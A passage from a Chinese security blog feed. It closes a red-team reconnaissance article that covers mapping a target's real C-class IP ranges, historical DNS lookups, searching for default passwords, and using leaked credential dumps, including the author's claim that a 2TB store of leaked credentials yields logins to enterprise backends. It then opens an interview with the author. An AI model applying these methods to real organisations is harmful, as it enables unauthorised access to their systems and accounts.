SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">4# 针对隐形C段资产的收集</span></span></h3><h2 style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-weight: bold;font-size: 1.4em;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">4.1 真实源站C段测绘</span></span></h2><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">备案域名==&gt;IP指向C段==&gt;确定是否为CDN（微步查询）==&gt;不是CDN，直接打C段（确认是否为公司资产）</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100002188" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4527777777777778" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=5feaf7a7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfSK8MJslBrcEb4cLOVWicCYgNPyGI4AkWFsg6riatt87J2jqDLY6F29st92ibKr2880KLSKrfWUgsNA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">通过ARL的C段功能，可以点击IP降序排列，能很清晰看到域名解析IP有多少指向同一个C段，该C段涉及多少个域名，如果涉及IP和涉及域名都很多，就是重点C段资产</span></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">如果想要部署ARL的师傅可以看我们这个项目：<a href="https://github.com/Aabyss-Team/ARL" target="_blank">https://github.com/Aabyss-Team/ARL</a></span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100002189" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.42685185185185187" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=477a41a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfSK8MJslBrcEb4cLOVWicCYXVLSZt7BbTvqwUq1yXrhichNDUe2r7dAqBEOISt7DlTF4HjL0x2cBOg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100002190" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4527777777777778" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=77a0c194&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfSK8MJslBrcEb4cLOVWicCYgVeXQKwL67T0hk6UEejrc89xQrg5Xoc0refTmQvAteROZgRD6COpMQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">可以看到，目标IP存在有效合法证书，可以用于验证该IP归属具有强关联性</span></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">通过这个方法，基本确定该C段为该目标企业的真实C段，可以直接去测试该C段开放的服务是否存在漏洞</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100002191" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4527777777777778" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=c2a1d46c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfSK8MJslBrcEb4cLOVWicCY4oHHrNSAgT5QyzMS31NnrYX0BLKAAcJ9uLEbOjMEiaP40ZWKT9t2JVg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-weight: bold;font-size: 1.4em;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">4.2 历史源站C段测绘</span></span></h2><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">对于一个网站的开发，特别是大型网站的制作，其实需要很长的一个过程。在一些网站刚开始搭建的时候，为了调试方便和测试选项，是不会套CDN和负载均衡进行上线测试的，这个时候可能就会被记录到历史解析IP，我们就能通过查询历史解析IP看看是否为真实源站IP或者业务公网IP。</span></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">工具地址（需要代理才能访问）：<a href="https://securitytrails.com" target="_blank">https://securitytrails.com</a></span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100002192" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4527777777777778" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=75d308d5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfSK8MJslBrcEb4cLOVWicCYL5kr2c5JeAU2xK5Jaxsk9nAwDGh99X0AgmURSEicsCNp8UicVfibI24XA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100002193" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4527777777777778" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=0cc162fb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfSK8MJslBrcEb4cLOVWicCYc2kpZNdf1Ud6qawumXxw8dKoYwhVqvmgkvHI3NyzRjgZHxRjEAiaLww%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">当然，对于这个测绘的操作，一定要认真验证，因为很有可能找到的IP及C段可能目标已经不再用了，要结合Fofa测绘结果来做综合研判处理！</span></p><h3 style="box-sizing: border-box;margin: 1.5em 5px 2em 0px;padding: 8px 15px;font-weight: bold;font-size: 1.3em;color: rgb(255, 255, 255);line-height: inherit;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">5# 针对敏感信息泄露的搜集</span></span></h3><h2 style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-weight: bold;font-size: 1.4em;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">5.1 Github开源项目信息泄露</span></span></h2><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">具体可以看我以前写的文章，这里就不再赘述：<a href="https://blog.zgsec.cn/archives/205.html" target="_blank">https://blog.zgsec.cn/archives/205.html</a></span></p><h2 style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-weight: bold;font-size: 1.4em;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">5.2 网页敏感信息泄露</span></span></h2><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">通过搜索引擎进行搜索：目标域名/名称 默认密码</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100002194" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5277777777777778" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=d6ddb0af&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfSK8MJslBrcEb4cLOVWicCYAhzqbWibz5n8UzVArUlDicmg2YnA1yUIwJqtOG97riaVfzUkP6Eua0kKA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100002195" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3212962962962963" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=79cd057f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfSK8MJslBrcEb4cLOVWicCYsqy1pG5I5UltfwXicKQC4W9cALJNg33Rnp5lPJtvLl8jXiaDVAPWy3IA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100002196" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.625" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=4cd36ec2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfSK8MJslBrcEb4cLOVWicCYJibBLTpibWyls0UsFtPIQNkwgFlS50hB4Uz4OvS3OfQBChxZHbdIuSNA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">通过这些方法，可以通过开源情报（OSINT）找到许多学号、工号和默认密码</span></p><h2 style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-weight: bold;font-size: 1.4em;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">5.3 历史账号密码泄露</span></span></h2><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">历史账号密码泄露是由许多原因造成的，如历史上遭遇黑客攻击导致数据泄露，又如遭到病毒、木马攻击导致浏览器内凭据被窃取等等</span></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">可以在海外频道获得一些泄露，也有许多频道已经被封禁：</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100002197" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7898148148148149" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=e6064bb7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfSK8MJslBrcEb4cLOVWicCYpa9zPLicqpkZbavjeGWJW3iau6iaGaJkbBCavfIaUbsEmC0iaIrxl4fRHQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100002198" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.8288659793814434" data-s="300,640" data-type="png" data-w="970" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=dac09cd4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfSK8MJslBrcEb4cLOVWicCYvb9qiaHZxVfahCicdibuiaeocsrXG9lWSRfGDTaVps5rJLl5q4hPn1Ds4Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">里面基本是一行一条，包含网站URL，账号及密码，还有许多隐秘渠道可以获得质量较高的泄露，但本文暂不能透露，这个行为是及其危险的！</span></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;font-weight: bold;color: inherit;font-size: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">我们通过多方渠道积累了2TB的TXT泄露凭据记录，通过实战遍历搜索，可以找到不少大型企业和单位的入口账号成功登录！通过这个能拿到一些后台权限，危害是极大的，企业安全人员应该关注自己企业在暗网的凭据泄露。</span></strong></p><h3 style="box-sizing: border-box;margin: 1.5em 5px 2em 0px;padding: 8px 15px;font-weight: bold;font-size: 1.3em;color: rgb(255, 255, 255);line-height: inherit;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">6# 总结</span></span></h3><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">本文围绕“边缘资产和隐形资产的发掘”主体，深入讲解了边缘域名资产、隐形IP资产、隐形C段资产三种资产的发掘和梳理过程，都是干货，学吧！</span></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">同时感谢各位师傅的关注和支持，觉得不错欢迎给本文点个赞，如有问题或者学习需求，可以私聊本人交流学习哈哈！</span></p><hr style="box-sizing: border-box;margin: 1.5rem 0px;padding: 0px;border-top: 1px dashed rgb(165, 165, 165);border-right: none;border-left: none;border-image: initial;border-bottom: none;height: 1px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"/><blockquote style="box-sizing: border-box;margin: 1em 0px;padding: 15px 15px 15px 1rem;color: rgb(129, 145, 152);font-weight: 400;border-left: 6px solid rgb(220, 230, 240);font-size: 0.9em;line-height: inherit;display: block;background: rgb(242, 247, 251);overflow: auto;overflow-wrap: normal;word-break: normal;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><p style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">我是曾哥，我在渊龙Sec安全团队等你</span><span leaf=""><br/></span><span leaf="">微信公众号：渊龙Sec安全团队</span><span leaf=""><br/></span><span leaf="">欢迎关注我，一起学习，一起进步~</span><span leaf=""><br/></span><span leaf="">本篇文章为团队成员原创文章，请不要擅自盗取！</span></p></blockquote><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000063" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="png" data-w="430" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=4c67e7ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FfiajytAx7IbfPkMjLIyRLkDoUuREpP4SwzqNe9WfraEfyrUE4wZYFicQ6dUicmnWgycGicCiasp6jYC7OzDsicx8GmqA%2F640%3Fwx_fmt%3Dpng"/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://blog.zgsec.cn/archives/729.html">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=257476fb&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4NTY0MDg1Mg%3D%3D%26mid%3D2247485849%26idx%3D1%26sn%3D13a02708a65bee6664894ad524eb579a">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 07 Dec 2025 13:50:00 +0800</pubDate>
    </item>
    <item>
      <title>专访开源布道者曾哥：云端砺剑，开源传灯【T00ls人物专访第十八期】</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4NTY0MDg1Mg==&amp;mid=2247485776&amp;idx=1&amp;sn=21e7c587f021cbab5b4463258f50d564</link>
      <description>大家好，我叫曾哥，英文ID为AabyssZG。目前是渊龙Sec安全团队创始人、国际云安全联盟渗透测试工作组成员、i春秋安全论坛签约作家。</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2025-10-24 20:37</span> <span style="display: inline-block;">广东</span>
</p>




<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=bcd2d174&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7IbddickOGYLXG3rDK05ibRPdSkSETClXExVb3tcdWichCage8lF9iaMn3FbTU7aibLiaZic9zibg7UgwT5O2yw%2F0%3Fwx_fmt%3Djpeg"/></p>

<p>大家好，我叫曾哥，英文ID为AabyssZG。目前是渊龙Sec安全团队创始人、国际云安全联盟渗透测试工作组成员、i春秋安全论坛签约作家。</p>

<div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><p style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">哈哈哈，笔者也是上T00ls人物专访啦~ T00ls作为老牌安全社区，非常值得大家去交流学习，欢迎大家关注T00ls安全公众号！</span></p><p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="T00ls安全" data-alias="T00lsSec" data-from="0" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/xkB4mPD62nOAjMAKC6icupJMRh71NoyhUB3efic74ESDrBtMlicTvhR5rAJAbiaXxPahyUibJnpbHibNUhtkK5PCUzFQ/0?wx_fmt=png" data-signature="T00ls，中国最具影响力的网络安全社区，聚合安全领域最优秀的人群，低调研究潜心学习讨论各类网络安全知识，为推动中国网络安全进步与技术创新贡献力量！" data-id="Mzg3NzYzODU5NQ==" data-is_biz_ban="0" data-service_type="1" data-verify_status="0"></mp-common-profile></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100001809" class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.028202115158637" data-s="300,640" data-type="png" data-w="851" style="width:100%;vertical-align:baseline;box-sizing:border-box;max-width:100% !important;" type="block" data-backw="578" data-backh="594" src="https://wechat2rss.xlab.app/img-proxy/?k=4e0bf74d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FxkB4mPD62nP2mOaXgqGL3tD6zgff3bgBjCicbciadvYN5clibyibWOSg39D2K51ylxiaMU0py0ibWymOMpnc6moy1ORw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(10, 10, 10);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(15, 76, 129) rgb(15, 76, 129);font-size: 16.8px;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;padding-left: 12px;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><strong><span leaf="">自我介绍</span></strong></h3><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">大家好，我叫曾哥，英文ID为AabyssZG。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">目前是渊龙Sec安全团队创始人、国际云安全联盟渗透测试工作组成员、i春秋安全论坛签约作家。专注于红蓝攻防、威胁情报和云安全等方向，参与多场国家级、省市级攻防并斩获佳绩，获得华商银行等多家单位表扬信，如今在一线威胁情报方向发光发热。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span 